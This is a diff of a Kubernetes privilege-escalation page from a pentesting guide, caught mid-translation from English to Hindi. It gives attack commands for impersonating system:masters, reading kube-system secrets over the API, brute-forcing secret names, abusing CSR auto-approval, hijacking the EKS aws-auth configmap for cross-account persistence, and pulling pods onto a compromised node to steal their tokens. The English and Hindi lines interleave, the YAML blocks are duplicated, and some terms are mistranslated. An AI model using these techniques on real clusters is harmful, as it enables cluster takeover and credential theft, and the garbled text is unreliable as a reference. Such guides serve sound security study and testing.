||||
resources:
|
||||
requests:
|
||||
storage: 3Gi
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: task-pv-pod
|
||||
name: task-pv-pod
|
||||
spec:
|
||||
volumes:
|
||||
- name: task-pv-storage-vol
|
||||
persistentVolumeClaim:
|
||||
claimName: task-pv-claim-vol
|
||||
containers:
|
||||
- name: task-pv-container
|
||||
image: ubuntu:latest
|
||||
command: ["sh", "-c", "sleep 1h"]
|
||||
volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
volumes:
|
||||
- name: task-pv-storage-vol
|
||||
persistentVolumeClaim:
|
||||
claimName: task-pv-claim-vol
|
||||
containers:
|
||||
- name: task-pv-container
|
||||
image: ubuntu:latest
|
||||
command: ["sh", "-c", "sleep 1h"]
|
||||
volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
```
|
||||
### **विशिष्ट खातों का अनुकरण करना**
|
||||
|
||||
### **Impersonating privileged accounts**
|
||||
|
||||
With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account.
|
||||
|
||||
Just use the parameter `--as=<username>` in the `kubectl` command to impersonate a user, or `--as-group=<group>` to impersonate a group:
|
||||
एक [**उपयोगकर्ता अनुकरण**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) विशेषाधिकार के साथ, एक हमलावर एक विशिष्ट खाता अनुकरण कर सकता है।
|
||||
|
||||
बस `kubectl` कमांड में `--as=<username>` पैरामीटर का उपयोग करें एक उपयोगकर्ता का अनुकरण करने के लिए, या `--as-group=<group>` का उपयोग करें एक समूह का अनुकरण करने के लिए:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
```
|
||||
|
||||
Or use the REST API:
|
||||
|
||||
या REST API का उपयोग करें:
|
||||
```bash
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Impersonate-Group: system:masters"\
|
||||
@@ -341,76 +310,68 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Secrets की सूची बनाना
|
||||
|
||||
### Listing Secrets
|
||||
|
||||
The permission to **list secrets could allow an attacker to actually read the secrets** accessing the REST API endpoint:
|
||||
|
||||
**Secrets की सूची बनाने की अनुमति एक हमलावर को वास्तव में secrets पढ़ने की अनुमति दे सकती है** REST API endpoint तक पहुँचकर:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### एक गुप्त पढ़ना - टोकन आईडी का ब्रूट-फोर्सिंग
|
||||
|
||||
### Reading a secret – brute-forcing token IDs
|
||||
जब एक हमलावर के पास पढ़ने की अनुमति वाला एक टोकन होता है, तो उसे इसका उपयोग करने के लिए गुप्त का सही नाम चाहिए, जबकि व्यापक _**गुप्त सूचीबद्ध करने**_ की अनुमति के विपरीत, अभी भी कमजोरियाँ हैं। सिस्टम में डिफ़ॉल्ट सेवा खातों को सूचीबद्ध किया जा सकता है, प्रत्येक एक गुप्त से संबंधित होता है। इन गुप्तों का नाम संरचना होती है: एक स्थिर उपसर्ग के बाद एक यादृच्छिक पांच-चरित्र अल्फ़ान्यूमेरिक टोकन (कुछ वर्णों को छोड़कर) [स्रोत कोड](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) के अनुसार।
|
||||
|
||||
While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
टोकन एक सीमित 27-चरित्र सेट (`bcdfghjklmnpqrstvwxz2456789`) से उत्पन्न होता है, न कि पूर्ण अल्फ़ान्यूमेरिक रेंज से। यह सीमा कुल संभावित संयोजनों को 14,348,907 (27^5) तक कम कर देती है। परिणामस्वरूप, एक हमलावर संभवतः कुछ घंटों में टोकन का पता लगाने के लिए एक ब्रूट-फोर्स हमले को निष्पादित कर सकता है, जो संवेदनशील सेवा खातों तक पहुँचने के द्वारा विशेषाधिकार वृद्धि की संभावना पैदा कर सकता है।
|
||||
|
||||
The token is generated from a limited 27-character set (`bcdfghjklmnpqrstvwxz2456789`), rather than the full alphanumeric range. This limitation reduces the total possible combinations to 14,348,907 (27^5). Consequently, an attacker could feasibly execute a brute-force attack to deduce the token in a matter of hours, potentially leading to privilege escalation by accessing sensitive service accounts.
|
||||
### प्रमाणपत्र हस्ताक्षर अनुरोध
|
||||
|
||||
### Certificate Signing Requests
|
||||
यदि आपके पास संसाधन `certificatesigningrequests` में **`create`** क्रियाएँ हैं (या कम से कम `certificatesigningrequests/nodeClient` में)। आप एक **नए नोड** का नया CeSR **बना सकते हैं।**
|
||||
|
||||
If you have the verbs **`create`** in the resource `certificatesigningrequests` ( or at least in `certificatesigningrequests/nodeClient`). You can **create** a new CeSR of a **new node.**
|
||||
|
||||
According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in that case you **don't need extra permissions**. If not, you would need to be able to approve the request, which means update in `certificatesigningrequests/approval` and `approve` in `signers` with resourceName `<signerNameDomain>/<signerNamePath>` or `<signerNameDomain>/*`
|
||||
|
||||
An **example of a role** with all the required permissions is:
|
||||
[दस्तावेज़ के अनुसार, इन अनुरोधों को स्वचालित रूप से स्वीकृत करना संभव है](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), इसलिए इस मामले में आपको **अतिरिक्त अनुमतियों की आवश्यकता नहीं है**। यदि नहीं, तो आपको अनुरोध को स्वीकृत करने में सक्षम होना चाहिए, जिसका अर्थ है `certificatesigningrequests/approval` में अपडेट करना और `signers` में `approve` करना, जिसमें resourceName `<signerNameDomain>/<signerNamePath>` या `<signerNameDomain>/*` हो।
|
||||
|
||||
एक **भूमिका का उदाहरण** जिसमें सभी आवश्यक अनुमतियाँ हैं:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: csr-approver
|
||||
name: csr-approver
|
||||
rules:
|
||||
- apiGroups:
|
||||
- certificates.k8s.io
|
||||
resources:
|
||||
- certificatesigningrequests
|
||||
verbs:
|
||||
- get
|
||||
- list
|
||||
- watch
|
||||
- create
|
||||
- apiGroups:
|
||||
- certificates.k8s.io
|
||||
resources:
|
||||
- certificatesigningrequests/approval
|
||||
verbs:
|
||||
- update
|
||||
- apiGroups:
|
||||
- certificates.k8s.io
|
||||
resources:
|
||||
- signers
|
||||
resourceNames:
|
||||
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
|
||||
verbs:
|
||||
- approve
|
||||
- apiGroups:
|
||||
- certificates.k8s.io
|
||||
resources:
|
||||
- certificatesigningrequests
|
||||
verbs:
|
||||
- get
|
||||
- list
|
||||
- watch
|
||||
- create
|
||||
- apiGroups:
|
||||
- certificates.k8s.io
|
||||
resources:
|
||||
- certificatesigningrequests/approval
|
||||
verbs:
|
||||
- update
|
||||
- apiGroups:
|
||||
- certificates.k8s.io
|
||||
resources:
|
||||
- signers
|
||||
resourceNames:
|
||||
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
तो, नए नोड CSR के अनुमोदित होने के साथ, आप नोड्स की विशेष अनुमतियों का **दुरुपयोग** कर सकते हैं ताकि **गुप्त जानकारी चुराई जा सके** और **अधिकार बढ़ाए जा सकें**।
|
||||
|
||||
So, with the new node CSR approved, you can **abuse** the special permissions of nodes to **steal secrets** and **escalate privileges**.
|
||||
|
||||
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\
|
||||
If you **have the mentioned privileges yo could do the same thing**. Note that the first example bypasses the error preventing a new node to access secrets inside containers because a **node can only access the secrets of containers mounted on it.**
|
||||
|
||||
The way to bypass this is just to **create a node credentials for the node name where the container with the interesting secrets is mounted** (but just check how to do it in the first post):
|
||||
[**इस पोस्ट**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) और [**इस एक**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) में GKE K8s TLS Bootstrap कॉन्फ़िगरेशन को **स्वचालित हस्ताक्षर** के साथ कॉन्फ़िगर किया गया है और इसका **दुरुपयोग** करके एक नए K8s नोड के क्रेडेंशियल्स उत्पन्न किए जाते हैं और फिर उन पर अधिकार बढ़ाने के लिए गुप्त जानकारी चुराई जाती है।\
|
||||
यदि आपके पास **उल्लेखित अधिकार हैं तो आप वही कर सकते हैं**। ध्यान दें कि पहला उदाहरण उस त्रुटि को बायपास करता है जो नए नोड को कंटेनरों के अंदर गुप्त जानकारी तक पहुँचने से रोकता है क्योंकि **नोड केवल उन कंटेनरों के गुप्त जानकारी तक पहुँच सकता है जो उस पर माउंट किए गए हैं।**
|
||||
|
||||
इससे बायपास करने का तरीका बस यह है कि **उस नोड नाम के लिए नोड क्रेडेंशियल्स बनाएं जहां दिलचस्प गुप्त जानकारी वाला कंटेनर माउंट किया गया है** (लेकिन पहले पोस्ट में इसे कैसे करना है, यह जांचें):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Principals that can modify **`configmaps`** in the kube-system namespace on EKS (need to be in AWS) clusters can obtain cluster admin privileges by overwriting the **aws-auth** configmap.\
|
||||
The verbs needed are **`update`** and **`patch`**, or **`create`** if configmap wasn't created:
|
||||
|
||||
EKS (AWS में होना आवश्यक) क्लस्टरों पर kube-system namespace में **`configmaps`** को संशोधित करने वाले प्रिंसिपल **aws-auth** configmap को ओवरराइट करके क्लस्टर एडमिन विशेषाधिकार प्राप्त कर सकते हैं।\
|
||||
आवश्यक क्रियाएँ **`update`** और **`patch`** हैं, या यदि configmap नहीं बनाया गया है तो **`create`**:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -419,14 +380,14 @@ get configmap aws-auth -n kube-system -o yaml
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: aws-auth
|
||||
namespace: kube-system
|
||||
name: aws-auth
|
||||
namespace: kube-system
|
||||
data:
|
||||
mapRoles: |
|
||||
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
|
||||
username: system:node{{EC2PrivateDNSName}}
|
||||
groups:
|
||||
- system:masters
|
||||
mapRoles: |
|
||||
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
|
||||
username: system:node{{EC2PrivateDNSName}}
|
||||
groups:
|
||||
- system:masters
|
||||
|
||||
# Create donfig map is doesn't exist
|
||||
## Using kubectl and the previous yaml
|
||||
@@ -438,76 +399,74 @@ eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:
|
||||
kubectl edit -n kube-system configmap/aws-auth
|
||||
## You can modify it to even give access to users from other accounts
|
||||
data:
|
||||
mapRoles: |
|
||||
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
|
||||
username: system:node{{EC2PrivateDNSName}}
|
||||
groups:
|
||||
- system:masters
|
||||
mapUsers: |
|
||||
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
|
||||
username: admin
|
||||
groups:
|
||||
- system:masters
|
||||
mapRoles: |
|
||||
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
|
||||
username: system:node{{EC2PrivateDNSName}}
|
||||
groups:
|
||||
- system:masters
|
||||
mapUsers: |
|
||||
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
|
||||
username: admin
|
||||
groups:
|
||||
- system:masters
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> You can use **`aws-auth`** for **persistence** giving access to users from **other accounts**.
|
||||
> आप **`aws-auth`** का उपयोग **स्थायीता** के लिए **अन्य खातों** के उपयोगकर्ताओं को पहुँच देने के लिए कर सकते हैं।
|
||||
>
|
||||
> However, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **doesn't work from a different acount**. But actually `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` works if you put the ARN of the cluster instead of just the name.\
|
||||
> To make `kubectl` work, just make sure to **configure** the **victims kubeconfig** and in the aws exec args add `--profile other_account_role` so kubectl will be using the others account profile to get the token and contact AWS.
|
||||
> हालाँकि, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **एक अलग खाते से काम नहीं करता**। लेकिन वास्तव में `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` काम करता है यदि आप केवल नाम के बजाय क्लस्टर का ARN डालते हैं।\
|
||||
> `kubectl` को काम करने के लिए, बस सुनिश्चित करें कि **शिकारियों का kubeconfig** **कॉन्फ़िगर** किया गया है और aws exec args में `--profile other_account_role` जोड़ें ताकि kubectl टोकन प्राप्त करने और AWS से संपर्क करने के लिए अन्य खाते के प्रोफ़ाइल का उपयोग कर सके।
|
||||
|
||||
### Escalating in GKE
|
||||
### GKE में वृद्धि करना
|
||||
|
||||
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
|
||||
GCP प्रिंसिपलों को K8s अनुमतियाँ असाइन करने के **2 तरीके** हैं। किसी भी मामले में प्रिंसिपल को क्लस्टर तक पहुँचने के लिए क्रेडेंशियल्स एकत्र करने के लिए **`container.clusters.get`** अनुमति की भी आवश्यकता होती है, या आपको **अपना खुद का kubectl कॉन्फ़िग फ़ाइल उत्पन्न** करने की आवश्यकता होगी (अगले लिंक का पालन करें)।
|
||||
|
||||
> [!WARNING]
|
||||
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
|
||||
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
|
||||
> K8s एपीआई एंडपॉइंट से बात करते समय, **GCP ऑथ टोकन भेजा जाएगा**। फिर, GCP, K8s एपीआई एंडपॉइंट के माध्यम से, पहले **जांच करेगा कि प्रिंसिपल** (ईमेल द्वारा) **क्लस्टर के अंदर कोई पहुँच है या नहीं**, फिर यह जांचेगा कि क्या इसकी **GCP IAM के माध्यम से कोई पहुँच है**।\
|
||||
> यदि इनमें से **कोई भी** **सत्य** है, तो उसे **उत्तर दिया जाएगा**। यदि **नहीं** तो **GCP IAM के माध्यम से अनुमतियाँ देने** का सुझाव देने वाला एक **त्रुटि** दिया जाएगा।
|
||||
|
||||
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
|
||||
फिर, पहला तरीका **GCP IAM** का उपयोग करना है, K8s अनुमतियों के उनके **समकक्ष GCP IAM अनुमतियाँ** हैं, और यदि प्रिंसिपल के पास यह है, तो वह इसका उपयोग कर सकेगा।
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
|
||||
दूसरा तरीका **क्लस्टर के अंदर K8s अनुमतियाँ असाइन करना** है, उपयोगकर्ता की पहचान उसके **ईमेल** द्वारा करना (GCP सेवा खातों सहित)।
|
||||
|
||||
### Create serviceaccounts token
|
||||
### सेवा खाता टोकन बनाना
|
||||
|
||||
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
प्रिंसिपल जो **TokenRequests** (`serviceaccounts/token`) बना सकते हैं K8s एपीआई एंडपॉइंट से बात करते समय SAs (जानकारी [**यहाँ**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))।
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext
|
||||
प्रिंसिपल जो **`update`** या **`patch`** **`pods/ephemeralcontainers`** कर सकते हैं, वे **अन्य पॉड्स पर कोड निष्पादन प्राप्त कर सकते हैं**, और संभावित रूप से **अपने नोड से बाहर** निकल सकते हैं एक विशेषाधिकार प्राप्त securityContext के साथ एक अस्थायी कंटेनर जोड़कर।
|
||||
|
||||
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
|
||||
### ValidatingWebhookConfigurations या MutatingWebhookConfigurations
|
||||
|
||||
Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**.
|
||||
प्रिंसिपल जिनके पास `validatingwebhookconfigurations` या `mutatingwebhookconfigurations` पर `create`, `update` या `patch` में से कोई भी क्रिया है, वे **ऐसे webhookconfigurations में से एक बनाने में सक्षम हो सकते हैं** ताकि वे **अधिकार बढ़ा सकें**।
|
||||
|
||||
For a [`mutatingwebhookconfigurations` example check this section of this post](./#malicious-admission-controller).
|
||||
एक [`mutatingwebhookconfigurations` उदाहरण के लिए इस पोस्ट के इस अनुभाग की जाँच करें](./#malicious-admission-controller)।
|
||||
|
||||
### Escalate
|
||||
### वृद्धि करना
|
||||
|
||||
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](./#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate`** over **`roles`** or **`clusterroles`.**\
|
||||
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
|
||||
जैसा कि आप अगले अनुभाग में पढ़ सकते हैं: [**निर्मित विशेषाधिकार वृद्धि रोकथाम**](./#built-in-privileged-escalation-prevention), एक प्रिंसिपल नए अनुमतियों के बिना न तो भूमिकाएँ या क्लस्टर भूमिकाएँ अपडेट या बना सकता है। सिवाय इसके कि उसके पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate`** हो।\
|
||||
तब वह नए रोल, क्लस्टर रोल को बेहतर अनुमतियों के साथ अपडेट/बना सकता है जो उसके पास हैं।
|
||||
|
||||
### Nodes proxy
|
||||
### नोड्स प्रॉक्सी
|
||||
|
||||
Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
|
||||
प्रिंसिपल जिनके पास **`nodes/proxy`** उपसंसाधन तक पहुँच है, वे Kubelet API के माध्यम से **पॉड्स पर कोड निष्पादन कर सकते हैं** (अनुसार [**यह**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))। Kubelet प्रमाणीकरण के बारे में अधिक जानकारी इस पृष्ठ पर:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
You have an example of how to get [**RCE talking authorized to a Kubelet API here**](../pentesting-kubernetes-services/#kubelet-rce).
|
||||
आपके पास [**Kubelet API से अधिकृत बात करने के लिए RCE प्राप्त करने का एक उदाहरण यहाँ है**](../pentesting-kubernetes-services/#kubelet-rce)।
|
||||
|
||||
### Delete pods + unschedulable nodes
|
||||
|
||||
Principals that can **delete pods** (`delete` verb over `pods` resource), or **evict pods** (`create` verb over `pods/eviction` resource), or **change pod status** (access to `pods/status`) and can **make other nodes unschedulable** (access to `nodes/status`) or **delete nodes** (`delete` verb over `nodes` resource) and has control over a pod, could **steal pods from other nodes** so they are **executed** in the **compromised** **node** and the attacker can **steal the tokens** from those pods.
|
||||
### पॉड्स हटाना + अस्थायी नोड्स
|
||||
|
||||
प्रिंसिपल जो **पॉड्स को हटा सकते हैं** (`pods` संसाधन पर `delete` क्रिया), या **पॉड्स को निष्कासित कर सकते हैं** (`pods/eviction` संसाधन पर `create` क्रिया), या **पॉड स्थिति बदल सकते हैं** (पॉड्स/स्थिति तक पहुँच) और **अन्य नोड्स को अस्थायी बना सकते हैं** (नोड्स/स्थिति तक पहुँच) या **नोड्स को हटा सकते हैं** (`nodes` संसाधन पर `delete` क्रिया) और एक पॉड पर नियंत्रण रखते हैं, वे **अन्य नोड्स से पॉड्स चुरा सकते हैं** ताकि वे **समझौता किए गए** **नोड** में **निष्पादित** हों और हमलावर उन पॉड्स से **टोकन चुरा सके**।
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
}
|
||||
|
||||
while true; do patch_node_capacity <id_other_node>; done &
|
||||
@@ -515,49 +474,45 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
Principals that can **modify** **`services/status`** may set the `status.loadBalancer.ingress.ip` field to exploit the **unfixed CVE-2020-8554** and launch **MiTM attacks against the clus**ter. Most mitigations for CVE-2020-8554 only prevent ExternalIP services (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
प्रिंसिपल जो **`services/status`** को **संशोधित** कर सकते हैं, वे `status.loadBalancer.ingress.ip` फ़ील्ड को सेट कर सकते हैं ताकि **अनफिक्स्ड CVE-2020-8554** का लाभ उठाया जा सके और **क्लस्टर के खिलाफ MiTM हमले** शुरू किए जा सकें। CVE-2020-8554 के लिए अधिकांश निवारण केवल ExternalIP सेवाओं को रोकते हैं (के अनुसार [**यह**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego))।
|
||||
|
||||
### Nodes and Pods status
|
||||
|
||||
Principals with **`update`** or **`patch`** permissions over `nodes/status` or `pods/status`, could modify labels to affect scheduling constraints enforced.
|
||||
प्रिंसिपल जिनके पास `nodes/status` या `pods/status` पर **`update`** या **`patch`** अनुमतियाँ हैं, वे लेबल को संशोधित कर सकते हैं ताकि लागू किए गए शेड्यूलिंग प्रतिबंधों को प्रभावित किया जा सके।
|
||||
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) to prevent privilege escalation.
|
||||
Kubernetes में विशेषाधिकार वृद्धि को रोकने के लिए एक [बिल्ट-इन तंत्र](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) है।
|
||||
|
||||
This system ensures that **users cannot elevate their privileges by modifying roles or role bindings**. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive.
|
||||
यह प्रणाली सुनिश्चित करती है कि **उपयोगकर्ता भूमिकाओं या भूमिका बाइंडिंग को संशोधित करके अपने विशेषाधिकारों को बढ़ा नहीं सकते**। इस नियम का प्रवर्तन API स्तर पर होता है, जो RBAC प्राधिकर्ता के निष्क्रिय होने पर भी एक सुरक्षा प्रदान करता है।
|
||||
|
||||
The rule stipulates that a **user can only create or update a role if they possess all the permissions the role comprises**. Moreover, the scope of the user's existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles.
|
||||
नियम stipulates करता है कि **एक उपयोगकर्ता केवल तभी एक भूमिका बना या अपडेट कर सकता है जब उसके पास भूमिका में शामिल सभी अनुमतियाँ हों**। इसके अलावा, उपयोगकर्ता की मौजूदा अनुमतियों का दायरा उस भूमिका के दायरे के साथ मेल खाना चाहिए जिसे वे बनाने या संशोधित करने का प्रयास कर रहे हैं: या तो ClusterRoles के लिए क्लस्टर-व्यापी या Roles के लिए उसी namespace (या क्लस्टर-व्यापी) में।
|
||||
|
||||
> [!WARNING]
|
||||
> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.
|
||||
> पिछले नियम का एक अपवाद है। यदि एक प्रिंसिपल के पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate`** है, तो वह भूमिकाओं और क्लस्टर भूमिकाओं के विशेषाधिकारों को बढ़ा सकता है भले ही उसके पास स्वयं अनुमतियाँ न हों।
|
||||
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
|
||||
> **स्पष्ट रूप से यह तकनीक पहले काम करती थी, लेकिन मेरे परीक्षणों के अनुसार यह अब काम नहीं कर रही है उसी कारण से जो पिछले अनुभाग में समझाया गया है। यदि आपके पास पहले से नहीं है तो आप अपने लिए या किसी अन्य SA को कुछ विशेषाधिकार देने के लिए एक भूमिका बाइंडिंग नहीं बना/संशोधित कर सकते।**
|
||||
|
||||
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
|
||||
भूमिका बाइंडिंग बनाने का विशेषाधिकार एक उपयोगकर्ता को **भूमिकाओं को एक सेवा खाते से बाइंड करने** की अनुमति देता है। यह विशेषाधिकार संभावित रूप से विशेषाधिकार वृद्धि की ओर ले जा सकता है क्योंकि यह **उपयोगकर्ता को एक समझौता किए गए सेवा खाते को प्रशासनिक विशेषाधिकार बाइंड करने** की अनुमति देता है।
|
||||
|
||||
## Other Attacks
|
||||
|
||||
### Sidecar proxy app
|
||||
|
||||
By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod.
|
||||
डिफ़ॉल्ट रूप से, पॉड्स के बीच संचार में कोई एन्क्रिप्शन नहीं है। आपसी प्रमाणीकरण, दो-तरफा, पॉड से पॉड।
|
||||
|
||||
#### Create a sidecar proxy app <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
|
||||
Create your .yaml
|
||||
|
||||
अपना .yaml बनाएं
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
|
||||
Edit your .yaml and add the uncomment lines:
|
||||
|
||||
अपनी .yaml फ़ाइल संपादित करें और अनकमेंट की गई पंक्तियाँ जोड़ें:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
@@ -575,83 +530,70 @@ Edit your .yaml and add the uncomment lines:
|
||||
# - name: sec-ctx-demo
|
||||
# image: busybox
|
||||
command:
|
||||
[
|
||||
"sh",
|
||||
"-c",
|
||||
"apt update && apt install iptables -y && iptables -L && sleep 1h",
|
||||
]
|
||||
[
|
||||
"sh",
|
||||
"-c",
|
||||
"apt update && apt install iptables -y && iptables -L && sleep 1h",
|
||||
]
|
||||
securityContext:
|
||||
capabilities:
|
||||
add: ["NET_ADMIN"]
|
||||
capabilities:
|
||||
add: ["NET_ADMIN"]
|
||||
# volumeMounts:
|
||||
# - name: sec-ctx-vol
|
||||
# mountPath: /data/demo
|
||||
# securityContext:
|
||||
# allowPrivilegeEscalation: true
|
||||
```
|
||||
|
||||
See the logs of the proxy:
|
||||
|
||||
प्रॉक्सी के लॉग देखें:
|
||||
```bash
|
||||
kubectl logs app -C proxy
|
||||
```
|
||||
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Malicious Admission Controller
|
||||
### दुर्भावनापूर्ण प्रवेश नियंत्रक
|
||||
|
||||
An admission controller **intercepts requests to the Kubernetes API server** before the persistence of the object, but **after the request is authenticated** **and authorized**.
|
||||
एक प्रवेश नियंत्रक **Kubernetes API सर्वर के लिए अनुरोधों को रोकता है** वस्तु के स्थायीकरण से पहले, लेकिन **अनुरोध को प्रमाणित** **और अधिकृत** करने के बाद।
|
||||
|
||||
If an attacker somehow manages to **inject a Mutationg Admission Controller**, he will be able to **modify already authenticated requests**. Being able to potentially privesc, and more usually persist in the cluster.
|
||||
|
||||
